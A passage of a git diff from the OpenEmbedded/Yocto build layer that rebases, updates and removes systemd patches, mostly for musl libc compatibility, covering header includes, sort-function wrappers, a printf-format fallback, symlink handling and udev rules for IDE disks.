- d = t->data[*a + t->sort_map[i]];
@@ -130,8 +85,8 @@ index a5c0a99b08..d595cbe372 100644
}
/* Order identical lines by the order there were originally added in */
-@@ -1107,7 +1109,12 @@ int table_print(Table *t, FILE *f) {
- for (i = 0; i < n_rows; i++)
+@@ -2009,7 +2011,12 @@ int table_print(Table *t, FILE *f) {
+ for (size_t i = 0; i < n_rows; i++)
sorted[i] = i * t->n_columns;
- typesafe_qsort_r(sorted, n_rows, table_data_compare, t);
@@ -144,8 +99,8 @@ index a5c0a99b08..d595cbe372 100644
}
if (t->display_map)
-@@ -1534,7 +1541,12 @@ int table_to_json(Table *t, JsonVariant **ret) {
- for (i = 0; i < n_rows; i++)
+@@ -2647,7 +2654,12 @@ int table_to_json(Table *t, JsonVariant
+ for (size_t i = 0; i < n_rows; i++)
sorted[i] = i * t->n_columns;
- typesafe_qsort_r(sorted, n_rows, table_data_compare, t);
@@ -158,6 +113,45 @@ index a5c0a99b08..d595cbe372 100644
}
if (t->display_map)
---
-2.11.0
-
+--- a/src/shared/hwdb-util.c
++++ b/src/shared/hwdb-util.c
+@@ -127,9 +127,13 @@ static struct trie* trie_free(struct tri
+
+ DEFINE_TRIVIAL_CLEANUP_FUNC(struct trie*, trie_free);
+
+-static int trie_values_cmp(const struct trie_value_entry *a, const struct trie_value_entry *b, struct trie *trie) {
+- return strcmp(trie->strings->buf + a->key_off,
+- trie->strings->buf + b->key_off);
++static struct trie *trie_node_add_value_trie;
++static int trie_values_cmp(const void *v1, const void *v2) {
++ const struct trie_value_entry *a = v1;
++ const struct trie_value_entry *b = v2;
++
++ return strcmp(trie_node_add_value_trie->strings->buf + a->key_off,
++ trie_node_add_value_trie->strings->buf + b->key_off);
+ }
+
+ static int trie_node_add_value(struct trie *trie, struct trie_node *node,
+@@ -157,7 +161,10 @@ static int trie_node_add_value(struct tr
+ .value_off = v,
+ };
+
+- val = typesafe_bsearch_r(&search, node->values, node->values_count, trie_values_cmp, trie);
++ trie_node_add_value_trie = trie;
++ val = bsearch(&search, node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
++ trie_node_add_value_trie = NULL;
++
+ if (val) {
+ /* At this point we have 2 identical properties on the same match-string.
+ * Since we process files in order, we just replace the previous value. */
+@@ -183,7 +190,9 @@ static int trie_node_add_value(struct tr
+ .line_number = line_number,
+ };
+ node->values_count++;
+- typesafe_qsort_r(node->values, node->values_count, trie_values_cmp, trie);
++ trie_node_add_value_trie = trie;
++ qsort(node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
++ trie_node_add_value_trie = NULL;
+ return 0;
+ }
+
diff --git a/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch b/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch
deleted file mode 100644
index dcae668dcb..0000000000
--- a/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-Include sys/wait.h
-
-Fixes:
-src/login/logind-brightness.c:158:85: error: 'WEXITED' undeclared (first use in this function); did you mean 'WIFEXITED'?
- 158 | r = sd_event_add_child(w->manager->event, &w->child_event_source, w->child, WEXITED, on_brightness_writer_exit, w);
- | ^~~~~~~
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- src/login/logind-brightness.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/login/logind-brightness.c b/src/login/logind-brightness.c
-index 8dfa97d7ae..bddd4a2727 100644
---- a/src/login/logind-brightness.c
-+++ b/src/login/logind-brightness.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <sys/wait.h>
- #include "bus-util.h"
- #include "device-util.h"
- #include "hash-funcs.h"
diff --git a/meta/recipes-core/systemd/systemd/0002-use-lnr-wrapper-instead-of-looking-for-relative-opti.patch b/meta/recipes-core/systemd/systemd/0002-use-lnr-wrapper-instead-of-looking-for-relative-opti.patch
deleted file mode 100644
index 49a334d090..0000000000
--- a/meta/recipes-core/systemd/systemd/0002-use-lnr-wrapper-instead-of-looking-for-relative-opti.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From bdbafe18c3bf99b3b691cd52b9ccff60f313892d Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 27 Jun 2018 16:09:24 +0800
-Subject: [PATCH 2/5] use lnr wrapper instead of looking for --relative option
- for ln
-
-Remove file manually to avoid the 'File Exists' error when creating
-symlink. This is because the original 'ln' command uses '-f' option.
-
-Upstream-Status: Inappropriate [OE-Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- meson.build | 4 ----
- tools/meson-make-symlink.sh | 3 ++-
- units/meson-add-wants.sh | 7 ++++++-
- 3 files changed, 8 insertions(+), 6 deletions(-)
-
-diff --git a/meson.build b/meson.build
-index e5ceb1e169..79b762faeb 100644
---- a/meson.build
-+++ b/meson.build
-@@ -579,10 +579,6 @@ endforeach
-
- conf.set_quoted('TELINIT', get_option('telinit-path'))
-
--if run_command('ln', '--relative', '--help').returncode() != 0
-- error('ln does not support --relative (added in coreutils 8.16)')
--endif
--
- ############################################################
-
- gperf = find_program('gperf')
-diff --git a/tools/meson-make-symlink.sh b/tools/meson-make-symlink.sh
-index da0d13a341..90bc0a93c2 100755
---- a/tools/meson-make-symlink.sh
-+++ b/tools/meson-make-symlink.sh
-@@ -8,5 +8,6 @@ mkdir -vp "$(dirname "${DESTDIR:-}$2")"
- if [ "$(dirname $1)" = . ]; then
- ln -vfs -T "$1" "${DESTDIR:-}$2"
- else
-- ln -vfs -T --relative "${DESTDIR:-}$1" "${DESTDIR:-}$2"
-+ rm -f "${DESTDIR:-}$2"
-+ lnr "${DESTDIR:-}$1" "${DESTDIR:-}$2"
- fi
-diff --git a/units/meson-add-wants.sh b/units/meson-add-wants.sh
-index a483d75b86..3c01c523f1 100755
---- a/units/meson-add-wants.sh
-+++ b/units/meson-add-wants.sh
-@@ -25,4 +25,9 @@ case "$target" in
- ;;
- esac
-
--ln -vfs --relative "$unitpath" "$dir"
-+if [ -d "$dir" ]; then
-+ rm -f "$dir/$unit"
-+ lnr "$unitpath" "$dir/$unit"
-+else
-+ lnr "$unitpath" "$dir"
-+fi
diff --git a/meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch b/meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch
index 6695d56804..c6204786b3 100644
--- a/meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch
+++ b/meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch
@@ -1,7 +1,7 @@
-From 47864989388bcd04d647ecf618ad7e260399dbb6 Mon Sep 17 00:00:00 2001
+From f9078501a1495c9991431d1435d081cd2e830328 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 5 Sep 2015 06:31:47 +0000
-Subject: [PATCH 3/5] implment systemd-sysv-install for OE
+Subject: [PATCH] implment systemd-sysv-install for OE
Use update-rc.d for enabling/disabling and status command
to check the status of the sysv service
@@ -9,12 +9,13 @@ to check the status of the sysv service
Upstream-Status: Inappropriate [OE-Specific]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
src/systemctl/systemd-sysv-install.SKELETON | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/systemctl/systemd-sysv-install.SKELETON b/src/systemctl/systemd-sysv-install.SKELETON
-index 8c16cf9..9f078a1 100755
+index 8c16cf99913f..9f078a121469 100755
--- a/src/systemctl/systemd-sysv-install.SKELETON
+++ b/src/systemctl/systemd-sysv-install.SKELETON
@@ -32,17 +32,17 @@ case "$1" in
@@ -38,6 +39,3 @@ index 8c16cf9..9f078a1 100755
;;
*)
usage ;;
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch b/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
index 2e39f7a2e1..f3edc7d82b 100644
--- a/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
+++ b/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
@@ -1,24 +1,26 @@
-From a9421d55102fc84f77f7c21a2479fcd00652b896 Mon Sep 17 00:00:00 2001
+From 3b42a888685aee1776a12cff84a5fe0063378483 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 13:55:12 +0800
-Subject: [PATCH 03/24] missing_type.h: add __compare_fn_t and comparison_fn_t
+Subject: [PATCH] missing_type.h: add __compare_fn_t and comparison_fn_t
Make it work with musl where comparison_fn_t and __compare_fn_t
is not provided.
Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+[Rebased for v244]
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
[Rebased for v242]
Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+
---
- src/basic/missing_type.h | 9 +++++++++
- src/basic/sort-util.h | 1 +
- src/journal/catalog.c | 1 +
- 3 files changed, 11 insertions(+)
+ src/basic/missing_type.h | 9 +++++++++
+ src/basic/sort-util.h | 1 +
+ src/core/kmod-setup.c | 1 +
+ src/libsystemd/sd-journal/catalog.c | 1 +
+ 4 files changed, 12 insertions(+)
-diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index bf8a6caa1b..2134fe5095 100644
--- a/src/basic/missing_type.h
+++ b/src/basic/missing_type.h
@@ -10,3 +10,12 @@
@@ -34,30 +36,33 @@ index bf8a6caa1b..2134fe5095 100644
+#define __COMPAR_FN_T
+typedef int (*__compar_fn_t)(const void *, const void *);
+#endif
-diff --git a/src/basic/sort-util.h b/src/basic/sort-util.h
-index e029f86..7247d40 100644
--- a/src/basic/sort-util.h
+++ b/src/basic/sort-util.h
@@ -4,6 +4,7 @@
#include <stdlib.h>
#include "macro.h"
-+#include "missing.h"
++#include "missing_type.h"
- void *xbsearch_r(const void *key, const void *base, size_t nmemb, size_t size,
- __compar_d_fn_t compar, void *arg);
-diff --git a/src/journal/catalog.c b/src/journal/catalog.c
-index 7beffc1e1a..4818a2e5cc 100644
---- a/src/journal/catalog.c
-+++ b/src/journal/catalog.c
-@@ -29,6 +29,7 @@
+ /* This is the same as glibc's internal __compar_d_fn_t type. glibc exports a public comparison_fn_t, for the
+ * external type __compar_fn_t, but doesn't do anything similar for __compar_d_fn_t. Let's hence do that
+--- a/src/core/kmod-setup.c
++++ b/src/core/kmod-setup.c
+@@ -10,6 +10,7 @@
+ #include "macro.h"
+ #include "recurse-dir.h"
+ #include "string-util.h"
++#include "missing_type.h"
+
+ #if HAVE_KMOD
+ #include "module-util.h"
+--- a/src/libsystemd/sd-journal/catalog.c
++++ b/src/libsystemd/sd-journal/catalog.c
+@@ -28,6 +28,7 @@
#include "string-util.h"
#include "strv.h"
#include "tmpfile-util.h"
-+#include "missing.h"
++#include "missing_type.h"
const char * const catalog_file_dirs[] = {
"/usr/local/lib/systemd/catalog/",
---
-2.11.0
-
diff --git a/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch b/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch
deleted file mode 100644
index 7ee0d48fa6..0000000000
--- a/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-Include signal.h
-
-Fixes several signal set related errors:
-src/basic/copy.c:92:19: error: implicit declaration of function 'sigemptyset' [-Werror=implicit-function-declaration]
-src/basic/copy.c:93:19: error: implicit declaration of function 'sigaddset' [-Werror=implicit-function-declaration]
-src/basic/copy.c:93:34: error: 'SIGINT' undeclared (first use in this function)
-src/basic/copy.c:95:13: error: implicit declaration of function 'sigtimedwait' [-Werror=implicit-function-declaration]
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- src/basic/copy.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/basic/copy.c b/src/basic/copy.c
-index ca311e021e..3cf7fc1697 100644
---- a/src/basic/copy.c
-+++ b/src/basic/copy.c
-@@ -12,6 +12,7 @@
- #include <sys/xattr.h>
- #include <time.h>
- #include <unistd.h>
-+#include <signal.h>
-
- #include "alloc-util.h"
- #include "btrfs-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch b/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
index a2aad40ac2..d93f630752 100644
--- a/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
+++ b/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
@@ -1,7 +1,7 @@
-From 7bcf3b166694090497a0acd2c5299e4e04fcc9b6 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 14:04:21 +0800
-Subject: [PATCH 04/24] add fallback parse_printf_format implementation
+From 3e0df2c22bfd37bc62bf09a01ec498e40d3599de Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sat, 22 May 2021 20:26:24 +0200
+Subject: [PATCH] add fallback parse_printf_format implementation
Upstream-Status: Inappropriate [musl specific]
@@ -10,22 +10,21 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
[rebased for systemd 243]
Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
---
- meson.build | 1 +
- src/basic/meson.build | 5 +
- src/basic/parse-printf-format.c | 273 ++++++++++++++++++++++++++++++++++++++++
- src/basic/parse-printf-format.h | 57 +++++++++
- src/basic/stdio-util.h | 2 +-
- src/journal/journal-send.c | 2 +-
+ meson.build | 1 +
+ src/basic/meson.build | 5 +
+ src/basic/parse-printf-format.c | 273 +++++++++++++++++++++++
+ src/basic/parse-printf-format.h | 57 +++++
+ src/basic/stdio-util.h | 2 +-
+ src/libsystemd/sd-journal/journal-send.c | 2 +-
6 files changed, 338 insertions(+), 2 deletions(-)
create mode 100644 src/basic/parse-printf-format.c
create mode 100644 src/basic/parse-printf-format.h
-diff --git a/meson.build b/meson.build
-index 79b762faeb..7f8c679411 100644
--- a/meson.build
+++ b/meson.build
-@@ -613,6 +613,7 @@ endif
+@@ -686,6 +686,7 @@ endif
foreach header : ['crypt.h',
'linux/memfd.h',
'linux/vm_sockets.h',
@@ -33,25 +32,20 @@ index 79b762faeb..7f8c679411 100644
'sys/auxv.h',
'valgrind/memcheck.h',
'valgrind/valgrind.h',
-diff --git a/src/basic/meson.build b/src/basic/meson.build
-index d6caf28f14..32c1acf349 100644
--- a/src/basic/meson.build
+++ b/src/basic/meson.build
-@@ -312,6 +312,11 @@ foreach item : [['af', af_list_txt, 'af', ''],
- endforeach
+@@ -335,6 +335,11 @@ endforeach
basic_sources += generated_gperf_headers
-+
+
+if conf.get('HAVE_PRINTF_H') != 1
+ basic_sources += [files('parse-printf-format.c')]
+endif
+
- basic_gcrypt_sources = files(
- 'gcrypt-util.c',
- 'gcrypt-util.h')
-diff --git a/src/basic/parse-printf-format.c b/src/basic/parse-printf-format.c
-new file mode 100644
-index 0000000000..49437e5445
++
+ ############################################################
+
+ arch_list = [
--- /dev/null
+++ b/src/basic/parse-printf-format.c
@@ -0,0 +1,273 @@
@@ -328,9 +322,6 @@ index 0000000000..49437e5445
+
+ return last;
+}
-diff --git a/src/basic/parse-printf-format.h b/src/basic/parse-printf-format.h
-new file mode 100644
-index 0000000000..47be7522d7
--- /dev/null
+++ b/src/basic/parse-printf-format.h
@@ -0,0 +1,57 @@
@@ -391,12 +382,10 @@ index 0000000000..47be7522d7
+size_t parse_printf_format(const char *fmt, size_t n, int *types);
+
+#endif /* HAVE_PRINTF_H */
-diff --git a/src/basic/stdio-util.h b/src/basic/stdio-util.h
-index c3b9448d4f..2937aa13b1 100644
--- a/src/basic/stdio-util.h
+++ b/src/basic/stdio-util.h
@@ -1,13 +1,13 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
#pragma once
-#include <printf.h>
@@ -408,20 +397,18 @@ index c3b9448d4f..2937aa13b1 100644
#include "memory-util.h"
+#include "parse-printf-format.h"
- #define snprintf_ok(buf, len, fmt, ...) \
- ((size_t) snprintf(buf, len, fmt, __VA_ARGS__) < (len))
-diff --git a/src/journal/journal-send.c b/src/journal/journal-send.c
-index 5ef11fa1a4..6384ab620c 100644
---- a/src/journal/journal-send.c
-+++ b/src/journal/journal-send.c
+ #define snprintf_ok(buf, len, fmt, ...) \
+ ({ \
+--- a/src/libsystemd/sd-journal/journal-send.c
++++ b/src/libsystemd/sd-journal/journal-send.c
@@ -2,7 +2,6 @@
#include <errno.h>
#include <fcntl.h>
-#include <printf.h>
#include <stddef.h>
- #include <sys/socket.h>
#include <sys/un.h>
+ #include <unistd.h>
@@ -21,6 +20,7 @@
#include "stdio-util.h"
#include "string-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0004-rules-whitelist-hd-devices.patch b/meta/recipes-core/systemd/systemd/0004-rules-whitelist-hd-devices.patch
deleted file mode 100644
index f9c5996ffb..0000000000
--- a/meta/recipes-core/systemd/systemd/0004-rules-whitelist-hd-devices.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From dc0a6a9fe4da9738efaba942233ad39da625a918 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Thu, 21 Feb 2019 16:28:21 +0800
-Subject: [PATCH 4/5] rules: whitelist hd* devices
-
-qemu by default emulates IDE and the linux-yocto kernel(s) use
-CONFIG_IDE instead of the more modern libsata, so disks appear as
-/dev/hd*. Patch rejected upstream because CONFIG_IDE is deprecated.
-
-Upstream-Status: Denied [https://github.com/systemd/systemd/pull/1276]
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[rebased for systemd 241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- rules/60-persistent-storage.rules | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/rules/60-persistent-storage.rules b/rules/60-persistent-storage.rules
-index 7802b1c94f..c0534ae26a 100644
---- a/rules/60-persistent-storage.rules
-+++ b/rules/60-persistent-storage.rules
-@@ -7,7 +7,7 @@ ACTION=="remove", GOTO="persistent_storage_end"
- ENV{UDEV_DISABLE_PERSISTENT_STORAGE_RULES_FLAG}=="1", GOTO="persistent_storage_end"
-
- SUBSYSTEM!="block", GOTO="persistent_storage_end"
--KERNEL!="loop*|mmcblk*[0-9]|msblk*[0-9]|mspblk*[0-9]|nvme*|sd*|sr*|vd*|xvd*|bcache*|cciss*|dasd*|ubd*|ubi*|scm*|pmem*|nbd*|zd*", GOTO="persistent_storage_end"
-+KERNEL!="loop*|mmcblk*[0-9]|msblk*[0-9]|mspblk*[0-9]|nvme*|sd*|sr*|vd*|xvd*|bcache*|cciss*|dasd*|ubd*|ubi*|scm*|pmem*|nbd*|zd*|hd*", GOTO="persistent_storage_end"
-
- # ignore partitions that span the entire disk
- TEST=="whole_disk", GOTO="persistent_storage_end"
diff --git a/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch b/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch
deleted file mode 100644
index 0f75e8c12d..0000000000
--- a/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-Handle __cpu_mask usage
-
-Fixes errors:
-
-src/test/test-cpu-set-util.c:18:54: error: '__cpu_mask' undeclared (first use in this function)
-src/test/test-sizeof.c:73:14: error: '__cpu_mask' undeclared (first use in this function)
-
-__cpu_mask is an internal type of glibc's cpu_set implementation, not
-part of the POSIX definition, which is problematic when building with
-musl, which does not define a matching type. From inspection of musl's
-sched.h, however, it is clear that the corresponding type would be
-unsigned long, which does match glibc's actual __CPU_MASK_TYPE. So,
-add a typedef to cpu-set-util.h defining __cpu_mask appropriately.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- src/shared/cpu-set-util.h | 2 ++
- src/test/test-sizeof.c | 2 +-
- 2 files changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/shared/cpu-set-util.h b/src/shared/cpu-set-util.h
-index 27812dfd59..f698f9df83 100644
---- a/src/shared/cpu-set-util.h
-+++ b/src/shared/cpu-set-util.h
-@@ -6,6 +6,8 @@
- #include "macro.h"
- #include "missing_syscall.h"
-
-+typedef unsigned long __cpu_mask;
-+
- /* This wraps the libc interface with a variable to keep the allocated size. */
- typedef struct CPUSet {
- cpu_set_t *set;
-diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
-index a710db5370..d1601ad929 100644
---- a/src/test/test-sizeof.c
-+++ b/src/test/test-sizeof.c
-@@ -1,6 +1,5 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
--#include <sched.h>
- #include <stdio.h>
- #include <string.h>
-
-@@ -8,6 +7,7 @@
- #include <float.h>
-
- #include "time-util.h"
-+#include "cpu-set-util.h"
-
- /* Print information about various types. Useful when diagnosing
- * gcc diagnostics on an unfamiliar architecture. */
diff --git a/meta/recipes-core/systemd/systemd/0005-rules-watch-metadata-changes-in-ide-devices.patch b/meta/recipes-core/systemd/systemd/0005-rules-watch-metadata-changes-in-ide-devices.patch
deleted file mode 100644
index 96175b5b5e..0000000000
--- a/meta/recipes-core/systemd/systemd/0005-rules-watch-metadata-changes-in-ide-devices.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From d1bccc721dd8f43fee29c5df0e9b78345e69f4b6 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Thu, 21 Feb 2019 16:38:38 +0800
-Subject: [PATCH 5/5] rules: watch metadata changes in ide devices
-
-Formatting IDE storage does not trigger "change" uevents. As a result
-clients using udev API don't get any updates afterwards and get outdated
-information about the device.
-...
-root@qemux86-64:~# mkfs.ext4 -F /dev/hda1
-Creating filesystem with 262144 4k blocks and 65536 inodes
-Filesystem UUID: 98791eb2-2bf3-47ad-b4d8-4cf7e914eee2
-
-root@qemux86-64:~# ls /dev/disk/by-uuid/98791eb2-2bf3-47ad-b4d8-4cf7e914eee2
-ls: cannot access '/dev/disk/by-uuid/98791eb2-2bf3-47ad-b4d8-4cf7e914eee2': No such file or directory
-...
-Include hd* in a match for watch option assignment.
-
-Upstream-Status: Denied
-
-qemu by default emulates IDE and the linux-yocto kernel(s) use
-CONFIG_IDE instead of the more modern libsata, so disks appear as
-/dev/hd*. A similar patch rejected by upstream because CONFIG_IDE
-is deprecated.
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-[rebased for systemd 241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- rules/60-block.rules | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/rules/60-block.rules b/rules/60-block.rules
-index 3134ab995e..cd72a494a1 100644
---- a/rules/60-block.rules
-+++ b/rules/60-block.rules
-@@ -9,5 +9,5 @@ ACTION=="change", SUBSYSTEM=="scsi", ENV{DEVTYPE}=="scsi_device", TEST=="block",
-
- # watch metadata changes, caused by tools closing the device node which was opened for writing
- ACTION!="remove", SUBSYSTEM=="block", \
-- KERNEL=="loop*|mmcblk*[0-9]|msblk*[0-9]|mspblk*[0-9]|nvme*|sd*|vd*|xvd*|bcache*|cciss*|dasd*|ubd*|ubi*|scm*|pmem*|nbd*|zd*", \
-+ KERNEL=="loop*|mmcblk*[0-9]|msblk*[0-9]|mspblk*[0-9]|nvme*|sd*|vd*|xvd*|bcache*|cciss*|dasd*|ubd*|ubi*|scm*|pmem*|nbd*|zd*|hd*", \
- OPTIONS+="watch"
diff --git a/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch b/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
index adfc3b7861..36545c2f60 100644
--- a/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
+++ b/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
@@ -1,7 +1,7 @@
-From 399fd3eda3045636a70da438a0fd1406cc332ed1 Mon Sep 17 00:00:00 2001
+From cef23a651ea200e30e1e6ed2a2564505e3a42d46 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 14:18:21 +0800
-Subject: [PATCH 05/24] src/basic/missing.h: check for missing strndupa
+Subject: [PATCH] src/basic/missing.h: check for missing strndupa
include missing.h for definition of strndupa
@@ -13,79 +13,115 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
[rebased for systemd 243]
Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+[rebased for systemd 244]
+[Rebased for v247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
+
---
meson.build | 1 +
src/backlight/backlight.c | 1 +
+ src/basic/cgroup-util.c | 1 +
src/basic/env-util.c | 1 +
+ src/basic/log.c | 1 +
src/basic/missing_stdlib.h | 12 ++++++++++++
src/basic/mkdir.c | 1 +
+ src/basic/mountpoint-util.c | 1 +
src/basic/parse-util.c | 1 +
+ src/basic/path-lookup.c | 1 +
+ src/basic/percent-util.c | 1 +
src/basic/proc-cmdline.c | 1 +
src/basic/procfs-util.c | 1 +
src/basic/time-util.c | 1 +
+ src/boot/bless-boot.c | 1 +
src/core/dbus-cgroup.c | 1 +
+ src/core/dbus-execute.c | 1 +
src/core/dbus-util.c | 1 +
+ src/core/execute.c | 1 +
src/core/kmod-setup.c | 1 +
src/core/service.c | 1 +
+ src/coredump/coredump-vacuum.c | 1 +
+ src/journal-remote/journal-remote-main.c | 1 +
src/journal/journalctl.c | 1 +
src/libsystemd/sd-bus/bus-message.c | 1 +
src/libsystemd/sd-bus/bus-objects.c | 1 +
+ src/libsystemd/sd-bus/bus-socket.c | 1 +
+ src/libsystemd/sd-bus/sd-bus.c | 1 +
src/libsystemd/sd-bus/test-bus-benchmark.c | 1 +
+ src/libsystemd/sd-journal/sd-journal.c | 1 +
src/locale/keymap-util.c | 1 +
src/login/pam_systemd.c | 1 +
src/network/generator/network-generator.c | 1 +
src/nspawn/nspawn-settings.c | 1 +
+ src/nss-mymachines/nss-mymachines.c | 1 +
+ src/portable/portable.c | 1 +
+ src/resolve/resolvectl.c | 1 +
+ src/shared/bus-get-properties.c | 1 +
+ src/shared/bus-unit-procs.c | 1 +
+ src/shared/bus-unit-util.c | 1 +
+ src/shared/bus-util.c | 1 +
src/shared/dns-domain.c | 1 +
src/shared/journal-importer.c | 1 +
src/shared/logs-show.c | 1 +
src/shared/pager.c | 1 +
- src/shared/path-lookup.c | 1 +
src/shared/uid-range.c | 1 +
src/socket-proxy/socket-proxyd.c | 1 +
src/test/test-hexdecoct.c | 1 +
src/udev/udev-builtin-path_id.c | 1 +
src/udev/udev-event.c | 1 +
src/udev/udev-rules.c | 1 +
- 32 files changed, 43 insertions(+)
+ 51 files changed, 62 insertions(+)
-diff --git a/meson.build b/meson.build
-index 7f8c679411..81c061b768 100644
--- a/meson.build
+++ b/meson.build
-@@ -506,6 +506,7 @@ foreach ident : [
- #include <unistd.h>'''],
- ['get_mempolicy', '''#include <stdlib.h>
- #include <unistd.h>'''],
-+ ['strndupa' , '''#include <string.h>'''],
- ]
+@@ -507,6 +507,7 @@ foreach ident : ['secure_getenv', '__sec
+ endforeach
- have = cc.has_function(ident[0], prefix : ident[1], args : '-D_GNU_SOURCE')
-diff --git a/src/backlight/backlight.c b/src/backlight/backlight.c
-index dfd6805398..c2b2ace6ec 100644
+ foreach ident : [
++ ['strndupa' , '''#include <string.h>'''],
+ ['memfd_create', '''#include <sys/mman.h>'''],
+ ['gettid', '''#include <sys/types.h>
+ #include <unistd.h>'''],
--- a/src/backlight/backlight.c
+++ b/src/backlight/backlight.c
-@@ -17,6 +17,7 @@
+@@ -19,6 +19,7 @@
#include "string-util.h"
#include "strv.h"
#include "util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
+
+ static int help(void) {
+ _cleanup_free_ char *link = NULL;
+--- a/src/basic/cgroup-util.c
++++ b/src/basic/cgroup-util.c
+@@ -37,6 +37,7 @@
+ #include "unit-name.h"
+ #include "user-util.h"
+ #include "xattr-util.h"
++#include "missing_stdlib.h"
- static int find_pci_or_platform_parent(sd_device *device, sd_device **ret) {
- const char *subsystem, *sysname, *value;
-diff --git a/src/basic/env-util.c b/src/basic/env-util.c
-index a6503cf2b6..ceef9a62c8 100644
+ static int cg_enumerate_items(const char *controller, const char *path, FILE **_f, const char *item) {
